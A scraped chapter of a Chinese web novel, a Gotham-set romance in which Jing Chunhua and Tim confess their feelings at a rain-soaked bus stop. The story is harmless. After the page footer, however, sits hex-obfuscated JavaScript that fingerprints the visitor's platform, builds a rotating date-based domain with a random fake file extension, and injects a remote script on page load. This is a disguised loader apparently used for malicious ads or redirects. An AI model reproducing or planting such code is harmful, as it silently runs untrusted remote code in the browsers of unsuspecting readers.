返回伯牙心里想的  再次沉默首页

关灯 护眼     字体:

上一章 目录 下一章

第74章伯牙心里想的

1,

景春骅还是不敢去看提姆,说完这句话其实心里还是有点隐隐地在打退堂鼓。

还是有点不安。实际上就这样被拒绝也是挺好的不是吗?“好啊,我也喜欢你。”

她最后还是得到了这个答案。

景春骅觉得自己大概是出现了幻听。

提姆就站在她面前,他的表情看不太真切,但景春骅能感觉到他在看着她。那种注视很轻,就像是落在水面上的叶子,可她整个人都在发抖,仿佛那片叶子会把她压沉

“你…她问着,“你再说一遍?”

提姆好像笑了一下,更柔软的东西从他眼角眉梢漫出来,把他那张总是带着点疏离感的脸衬得很温和。

“我说我也喜欢你。"他重复了一遍,声音比刚才更轻,却也更加的笃定,“很早就喜欢了。比你想象的要早。”

景春骅的大脑彻底宕机了。

她站在原地,手指还攥着那个已经被拧得不成样子的衣角,但是整个人却像是被按下了暂停键一样。

她能感觉到自己的鼻子变得酸酸的,有什么东西正在从胸腔里往上涌。温热的,柔软的。

…你还好吗?】系统的声音难得地带着小心心翼翼。我不知道。她在心里说。

我好像坏掉了。

“你不用现在就说什一一"他弯下腰去看她。“我不是在想着怎么逃跑。"景春骅突然打断他,声音又急又哑,“我是……我是真的觉得你很好,好到我怕自己一伸手你就会碎掉。我不是在找借口,我就是她深吸一口气,“我就是怕我配不上。”

这句话说出来的时候,她以为自己会后悔。但是她仔细去想想,应该是没有的。

那些堵在心里不知道多久的东西,像是终于找到了一个出口,稀里哗啦地往外涌,拦都拦不住。

“你太好了,好得让我害怕。你对所有人都很好,但你偏偏选了我,不知道为什么,我想了很久很久,从你给我递纸条那天就开始想,你是不是在开玩笑啊,还是说什么别的可笑的原因,像是投资,或者把我当成了什么竞争对手--她顿了顿,声音低下去,低到几乎听不见。“但我后来不想了。”

提姆安静地听着。

“因为我发现不管你怎么想,我都在想你。"景春骅说,“你不在的时候我在想你,你在的时候我也在想你。你发消息来我害怕,你不发消息我也害怕。你对我笑我害怕,你不笑我更害怕。”

她终于抬起头,对上那双在夜色里格外明亮的蓝眼睛。“我已经怕了太久了。但是现在我不想再怕了。”街角传来汽车驶过的声音,远处的警笛声若有若无,哥谭的夜晚从来不缺噪音,但此刻景春骅什么都听不见,除了她自己的心跳,还有提姆的呼吸。提姆抬起手,他的指尖轻轻碰了碰她的手背,试探了一下,然后才覆上去把她的手整个握住了。

景春骅低头看着两只交握的手,大脑一片空白,她想起之前帮他处理伤口的时候,自己的手指碰到他就缩了回去,像被烫到一样。但现在她没有去选择退缩,他的掌心贴着她的掌心,严丝合缝。“你不需要配得上。"提姆说,“喜欢你这件事,是我自己的选择。你不用为我的选择负责,也不用觉得自己不够好。”他停顿了一下,拇指轻轻蹭过她的手背。

“而且你已经够好了。好到让我逃课,我每天绕远路,在图书馆假装看书实际上一个字都看不进去。”

景春骅愣愣地抬头:”你……你也看不进去?”“看不进去。"提姆承认得很坦然,“每次你坐在附近,我就只能看见你。”那些关于杀人的,背叛的,腐烂的还有死亡的幻想全都被压了下去。她内心的声音被捂住了嘴。

【好险啊提姆哈哈哈哈差点要被此女弄死了呢哈哈哈】2

【恭喜两位嘉宾牵手成功!!】系统在她脑海里放烟花,但是景春骅觉得"可能偷偷在翻白眼。

提姆说要送她回家。景春骅轻轻点了点头,忽略了系统的话,感觉自己已经飘在了云端上。

她一定是全世界最幸福,最幸运的人。

3.

一切结束其实已经到傍晚了,他们才出来校门没多久,雨就突然落下来了,可能最近是下雨的季节?

像是雷阵雨,来的毫无预兆又铺天盖地,像是有人在天上打翻了一整盆水。景春骅还没反应过来,豆大的雨点就已经砸在她的头顶,肩膀,还有鼻尖上,凉意顺着衣领往里钻,激得她打了个哆嗦“这边!”

提姆的声音穿透雨幕,他的手还握着她,拉着景春骅往路边跑,几步之外恰好有一个小小的公交站台,顶棚不大,但足以让两个人挤在下面。景春骅踉踉跄跄地跟着跑,比起什么大雨,她之在乎一件事情一一他还没松手。

站台的顶棚有些年头了,边缘生着锈,雨水顺着檐角淌下来,在他们面前织成一道透明的帘幕。

整个世界都被雨声填满了,噼噼啪啪的,砸在顶棚上,地面上,还有两人之间的那一点点微妙的距离上。

“你都被淋湿了。"提姆说着。

于是她下意识地低头看了看自己,外套的肩膀和袖子都泅深了颜色,几缕碎发贴在额头上,有水珠正在顺着发梢往下滴。她抬手去擦擦脸,但是她的手背刚刚碰到自己的额头,就碰到了一块干燥的布料。

景春骅抬头,看到了那双蓝眼睛。

提姆不知道什么时候从书包里翻出了一块手帕,正有点笨手笨脚地想给她擦干。

他的动作不太熟练,力道时轻时重,像是在处理一件他不太确定该怎么对待的易碎品。

“那个,不用的,我可以,我自己来一-"景春骅有点急切了,想要伸手去接过手帕。

“别动。”他的声音在这个被雨声包围的小小空间里,显得格外清晰。景春骅的手悬在半空,不知道该放下还是该继续伸过去。最后她只是把手了缩回去,然后只是乖乖地站在原地,任由那块手帕在她脸上胡乱地擦来擦去。

她偷偷抬起眼睛看他,提姆的头发也湿了,深色的发丝被打湿之后颜色更深,有几缕垂在额前,遮住了一点眉眼。

他专注地盯着她的脸,眉头微微皱着,嘴唇抿成一条线,表情严肃得好像他正在做什么生死攸关的大事。

但他只是在帮她擦脸。

她此刻终于明白了,之前那个看不懂的眼神到底是什么。是心疼啊。

雨越下越大了。

远处建筑物的轮廓在雨幕中变得模糊不清,路灯的光被水汽晕成一团一团的橘黄色,像是被揉皱的纸。空气里弥漫着雨水打湿泥土的味道,还有一还有他身上的气息。

“他肯定喷香水了,只是在骗我。"她在内心对系统说。【馋人家身子就直说。】系统慢悠悠地开口。“我才没有!"景春骅用力吸了一下鼻子,然后立刻意识到这个动作有多蠢,整张脸又开始发烫。

她想把注意力集中在面前的雨幕上,然后试图让自己的心跳恢复正常,但这很难,因为提姆就站在她旁边,近到她能感觉到他身上的温度一一“景。”

“嗯?!“她猛地抬头,差点撞上他的下巴。提姆往后退了半步,蓝眼睛里带着一点笑意:“我只是想问,你冷吗?”“不冷。“景春骅说,然后打了个喷嚏。

沉默在两人之间蔓延开来。景春骅盯着自己还在往下滴水的袖口,觉得自己这辈子大概就这样了。

【补药啊!!你不要死啊!你振作一点!!!】4。

但是提姆并没有笑她,只是脱下了自己的外套。“不用一一"她下意识地去摆手拒绝。

“穿上吧。“他的语气没有商量的余地,但声音很轻,“你明天还有课,感冒了又要请假,请假的话,我就见不到你了。”景春骅愣了一下。

这句话怎么听都有点……有点……

【有点可怜巴巴的。】系统替她说完了,【这只鸟真的是,越来越会了。)她最后还是接过了他的外套,面料很柔软,还带着一点温度,景春骅把外套披在肩上,那点残余的暖意顺着布料渗过来,把她裹住了。“谢谢你。"她小声说。

提姆笑着点点头,目光重新落回雨幕里。

雨势稍微小了一些,但还没有要停的意思,偶尔有车从站台前驶过,溅起一片水花,车灯在湿漉漉的地面上拉出长长的光影。景春骅又一次偷偷侧过头去看他。

他的侧脸被路灯照出清晰的轮廓,睫毛很长,在眼下投出一小片阴影,鼻梁挺直,嘴唇一一

她在看什么啊!!她怎么又在看他!!今天第几次了。她为什么总是会被方吸引了注意力呢。

“其实我也很害怕。"提姆突然开口这样说着。景春骅抬起头。

他的目光落在远处模糊的灯光里,侧脸在灯光下显得有些苍白。“就是在你说那些话的时候,我在想,你是不是觉得自己不正常,然后还有点可怕。“他说,“但是你有没有想过,可能我也是一样的?”她愣住了。

“我也想知道你在哪里,和谁在一起,在做什么。我也想过要把你放在一个我能看得到的地方。”他停顿了一下,“我也害怕失去。”他转过头,对上她的眼睛。

那双蓝眼睛里倒映着路灯的光,还有她的影子,它们不像之前那样温和而从容,而是带着某种她从未见过的东西,克制着的,但是又几乎要溢出来的某和情感。

提姆说着:“实际上我也没有什么安全感。总是想着把一切控制住,掌握住才是安全的。所以我其实很能理解你的感觉。”“我也在害怕着。但是我们都很有勇气不是吗?”雨不知道什么时候变小了。

细细的雨丝从顶棚边缘飘进来,落在他们之间的地面上,溅起细小的水花。新生的气息。

她拼命忍住,但眼泪还是不争气地掉了下来。一颗,两颗,顺着脸颊滑落,混进雨水里,消失不见了。“你怎…你怎么能这样啊。"她说着。

“别哭了。"他说,然后捧起她的脸颊,伸手去给她擦掉眼泪。“我才没有哭。“景春骅吸了吸鼻子,“这是雨。”“在站台里面?"他反问。

“站台漏雨。”

提姆的手顿了一下,然后他笑了起来,他笑起来的时候,眉眼会微微弯下去,蓝眼睛里像是装满了碎星,好看得过分。“提姆,我突然好想……她并没有把话说完。“嗯?"他低声问着。

“我可以吻你吗?"她那双漂亮的琥珀色眼睛就这样望着他,天真,纯粹,有点像是雨水。

5.

君子侠小课堂!

“伯牙所念,钟子期必得之。这句话我教过你们很多次了!我再问一遍,怎么翻译!"景春骅敲了敲小黑板。

“伯牙所想念的东西,钟子期一定能得到它!”“得到了然后呢?"她几乎是咬牙切齿地在问了。“然后送给伯牙!"她的学生自信满满地回答。“滚蛋,错了,下一个!”

“伯牙想,我一定要得到钟子期!!”

景春骅冷漠的哦了一声,然后说:“你也滚。”她的学生不理解了,发问着:“那老师,正确的答案是什么呢?”“伯牙心里所想的,钟子期一定能够领会。”熟悉的声音,肩膀上附上来了一只手,景春骅抬头,看到了熟悉的蓝眼睛。“我说的对吗,老师?”

提姆笑盈盈地问着。

(完)

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");